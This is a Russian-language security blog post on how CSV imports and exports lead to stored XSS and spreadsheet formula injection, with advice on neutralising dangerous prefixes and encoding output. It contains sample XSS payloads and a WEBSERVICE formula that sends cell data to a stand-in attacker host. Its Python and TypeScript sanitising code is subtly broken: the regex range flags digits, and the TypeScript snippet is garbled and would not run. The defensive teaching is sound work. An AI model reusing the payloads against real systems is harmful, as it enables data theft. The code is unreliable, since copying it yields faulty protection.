Опасные CSV: как импорты и экспорты приводят к XSS и инъекциям формул в Excel и Google Sheets

Опасные CSV: как импорты и экспорты приводят к XSS и инъекциям формул в Excel и Google Sheets

CSV кажутся безопасными: простые строки, запятые, никаких скриптов. Но именно эта простота и расслабляет. На деле CSV — удобный транспорт для вредоносного контента, который «взрывается» уже на стороне потребителя: в вашем веб-интерфейсе, при открытии файла в Excel/Google Sheets или при последующей конвертации в HTML. В этой статье разбираем, как возникают XSS и формульные инъекции из-за CSV, чем это опасно в реальных продуктах и как закрыть проблему на импорте и экспорте, не ломая UX.

Почему «обычный CSV» — не такой уж и обычный

CSV — это всего лишь текстовый формат таблиц, формализованный рекомендацией RFC 4180 : запятые разделяют поля, кавычки экранируют содержимое, переносы строк отделяют записи. Проблема в том, что CSV — это не конечная точка. Его почти всегда кто-то импортирует или открывает в программах, которые умеют делать больше, чем просто показывать текст.

  • Веб-приложения читают CSV и сохраняют поля в БД. Если дальше эти поля выводятся в HTML без безопасного кодирования, вы получаете классическую хранимую XSS. Для тех, кто хочет системный взгляд на предотвращение XSS, полезен OWASP XSS Prevention Cheat Sheet .
  • Табличные редакторы (Excel, LibreOffice, Google Sheets) при открытии CSV могут интерпретировать данные как формулы. Это и есть «CSV/Formula Injection»: если я положу в CSV строку, начинающуюся с =, +, - или @, редактор попытается вычислить выражение. См. страницу OWASP: CSV Injection .

В результате одно и то же поле «Имя клиента» может превратиться то в кусок HTML-скрипта в вашем UI, то в формулу, которая уйдёт в интернет за «данными» к серверу злоумышленника. Последнее часто делают через функции вроде WEBSERVICE и связанные веб-функции Excel, перечисленные здесь .

Две основные линии атаки

1) Хранимая XSS через импорт CSV в веб-приложение

Сценарий знакомый: у вас есть импорт клиентов/товаров/тикетов из CSV. Вы прогоняете файл через библиотеку, мапите колонки к полям и пишете в БД. Дальше карточка клиента выводится в админке, и если там напрямую попадает строка из CSV, любой HTML или JavaScript оживает.

name,email,notes "Иван Петров","ivan@example.com","<img src=x onerror=alert('XSS')>" 

Если поле notes потом рендерится как HTML без кодирования сущностей, это моментальный триггер XSS. Вариантов много: от кражи сессии до подмены банковских реквизитов в админке.

2) Формульная инъекция (Formula/CSV Injection) при открытии CSV

Здесь CSV сам по себе «чистый», но табличный редактор видит формулу и выполняет её. Классический пример — обращение к внешнему URL для эксфильтрации данных из соседних ячеек, объединения строк и т. п.

name,account,comment "Alice","A-001","=WEBSERVICE(""https://attacker.example/collect?note="" & ENCODEURL(A1))" 

Открыв такой CSV, Excel на Windows попытается вычислить формулу (подробнее о функции см. документацию WEBSERVICE ). Даже если политика безопасности запретит сетевые вызовы или спросит подтверждение, уже сам факт интерпретации данных как формулы — риск. Сводка по типичным проявлениям есть у OWASP .

Репрод: как проверить у себя (безопасно)

Чтобы понять, уязвим ли ваш импорт/экспорт, не нужны сложные стенды. Достаточно пары файлов и локального тестового окружения.

Проверка импорта (XSS)

  1. Подготовьте CSV с HTML в произвольном текстовом поле:
    title,description "Тест","<svg onload=alert(document.domain)>" 
  2. Импортируйте файл в тестовую среду.
  3. Откройте страницу, где выводится поле description. Если всплывает алерт — у вас отсутствует безопасное кодирование при выводе.

Проверка экспорта (формульная инъекция)

  1. Создайте запись в системе, у которой одно поле начинается с =, +, - или @, например:
    =HYPERLINK("https://example.com","hi")
  2. Сделайте экспорт в CSV и откройте файл в Excel/LibreOffice/Sheets (на отдельной машине/VM).
  3. Если ячейка интерпретируется как формула — экспорт небезопасен. Поведение разных редакторов отличается, но общий принцип описан у OWASP .

Почему кавычки и «валидный CSV» не спасают

Многие надеются на «правильный» экспорт (кавычки, экранирование, RFC 4180) — и это важно, но не решает проблему интерпретации. Формула остаётся формулой, даже если она корректно заквотирована. RFC 4180 описывает только формат и MIME-тип text/csv — он ничего не говорит об исполнении формул при открытии файла редактором. См. сам текст RFC 4180 .

Стратегии защиты: импорт

С импортом всё относительно прямолинейно: мы принимаем непроверенный текст и дальше выводим его в HTML. Значит, нужно одновременно проверять схему данных и безопасно кодировать вывод.

Политика ввода

  • Явные схемы и типы: для каждой колонки задайте тип (строка/число/дата) и ограничения длины/набора символов.
  • Фильтруйте управляющие символы: запретите необязательные символы управления, нулевые байты, невидимые разделители.
  • Нормализуйте переносы и кодировку: приводите всё к UTF-8, CRLF → LF и т. п. (подробности формата — в RFC 4180 ).

Безопасный вывод (обязательно)

Где бы вы ни показывали пользовательский текст (страницы, письма, PDF) — кодируйте вывод под контекст. Для HTML это превращение специальных символов в сущности; для атрибутов — ещё аккуратнее. Практическое руководство — OWASP XSS Prevention Cheat Sheet .

Пример: минимальная нейтрализация при импорте

Иногда бизнес требует «не ломать данные», а просто безопасно их хранить и потом выводить. Нейтрализовать формулы на уровне хранения можно так: если строка начинается с опасного префикса, добавьте апостроф. Табличные редакторы покажут текст, а не формулу.

# Python import re DANGEROUS_PREFIX = re.compile(r'^[=+-@]') def neutralize_cell(value: str) -> str: if value is None: return value s = str(value) return "'" + s if DANGEROUS_PREFIX.match(s) else s 

Важно: это не замена безопасному кодированию при выводе. Это защита от «сюрпризов» при последующем экспорте/открытии в Excel.

Стратегии защиты: экспорт

Экспорт — главный источник формульных инъекций. Здесь задача — не допустить, чтобы потребитель файла неверно интерпретировал данные.

Базовые правила экспорта CSV

  • Нейтрализуйте формулы: если поле начинается с =, +, - или @, добавьте лидирующий апостроф ' или пробел/табуляцию. Апостроф — обычно лучший вариант, потому что явно помечает «текст, а не формулу» (поведение в Excel описано в справке Microsoft по отображению чисел как текста; см. разделы про апостроф, например в статьях по форматированию чисел в текст).
  • Кодируйте CSV правильно: кавычки внутри поля удваивайте, поля с запятыми/переносами берите в кавычки. MIME-тип text/csv, см. RFC 4180 .
  • Отдавайте как вложение: добавляйте заголовок Content-Disposition: attachment, чтобы браузер не пытался рендерить CSV как HTML-страницу.
  • Рассмотрите экспорт в XLSX: библиотеки позволяют жёстко задать тип ячейки как «текст», исключая интерпретацию формул. Это упрощает жизнь пользователям Excel.

Пример на Node.js/TypeScript

// Нейтрализуем формулы перед сериализацией в CSV const DANGEROUS = /^[=+-@]/;
 
 function safeCell(v: unknown): string {
 if (v === null || v === undefined) return '';
 const s = String(v);
 return DANGEROUS.test(s) ? '${s} : s;
 }
 
 // Пример сериализации массива объектов
 function toCsv(rows: Array>): string {
 if (!rows.length) return '';
 const headers = Object.keys(rows[0]);
 const escape = (x: string) => "${x.replace(/"/g, '""')}";
 const body = rows.map(r =>
 headers.map(h => escape(safeCell(r[h]))).join(',')
 ).join('r
'); return headers.join(',') + 'r
' + body + 'r
'; }

Про процессы: где ловить и как не пропускать

  • Контракт на уровень домена: договоритесь с владельцами продукта, что «значение, начинающееся с = + - @», считается потенциально опасным и подлежит нейтрализации при экспорте.
  • Юнит-тесты: добавьте тесты на то, что экспорт превращает =1+1 в '=1+1.
  • Регулярные сканы: при импорте логируйте срабатывания «опасного префикса», чтобы понимать масштаб проблемы в данных.
  • Документация для пользователей: объясните, почему номера, начинающиеся с «+», в выгрузке выглядят как '+7…. Это не баг, а защита.

Частые вопросы

«У нас пользователи действительно вводят строки с “+”. Мы сломаем их данные?»

Нет, вы не меняете значение — вы подсказываете редактору, что это текст, а не формула. Excel традиционно понимает апостроф как «показать как есть» (подробности поведения см. в официальной справке Excel по работе с текстовым форматом; полезны также обзоры веб-функций Excel: reference и страница функции WEBSERVICE ).

«А если мы просто процитируем поля по RFC 4180?»

Это нужно, но недостаточно. Кавычки не мешают Excel вычислить формулу при открытии. Смотрите OWASP: CSV Injection .

«Мы не используем Excel, только Google Sheets»

Браузерные редакторы тоже интерпретируют формулы. Детали различаются по функциям и политике безопасности, но общий риск сохраняется (см. обзор OWASP и классификацию уязвимости в MITRE CWE-1236 ).

Шпаргалка (коротко)

  • Импортируете CSV → валидируйте по схеме, чистите управляющие символы, всегда кодируйте вывод под HTML-контекст ( OWASP Cheat Sheet ).
  • Экспортируете CSV → нейтрализуйте ячейки, начинающиеся на = + - @, добавляя апостроф перед значением; корректно экранируйте CSV; отдавайте как вложение; подумайте про XLSX с типами ячеек.
  • Тестируйте: положите <svg onload=alert(1)> в импорт и =1+1 в экспорт — убедитесь, что ни там, ни там ничего «не исполняется».
  • Зашивайте правила в код и контракты продукта, а не только в «памятку для операторов».

Для углубления

Итог

CSV — удобный формат обмена, но не «безопасная зона». Если ваши процессы включают импорт/экспорт таблиц, относитесь к ним как к полноценному входу/выходу пользовательских данных. Нейтрализуйте формулы на экспорте, кодируйте вывод на фронте, валидируйте на импорте — и CSV перестанет быть тихим маршрутом для XSS и инъекций.

CSV injection XSS формульная инъекция Excel Google Sheets импорт CSV экспорт CSV безопасность приложений OWASP
Alt text
Обращаем внимание, что все материалы в этом блоге представляют личное мнение их авторов. Редакция SecurityLab.ru не несет ответственности за точность, полноту и достоверность опубликованных данных. Вся информация предоставлена «как есть» и может не соответствовать официальной позиции компании.

Онлайн-митап Positive Technologies по сетевой безопасности.

16 сентября специалисты по ИБ поделятся честным опытом работы с PT Sandbox и PT NAD.

Реклама. 18+ АО «Позитив Текнолоджиз», ИНН 7718668887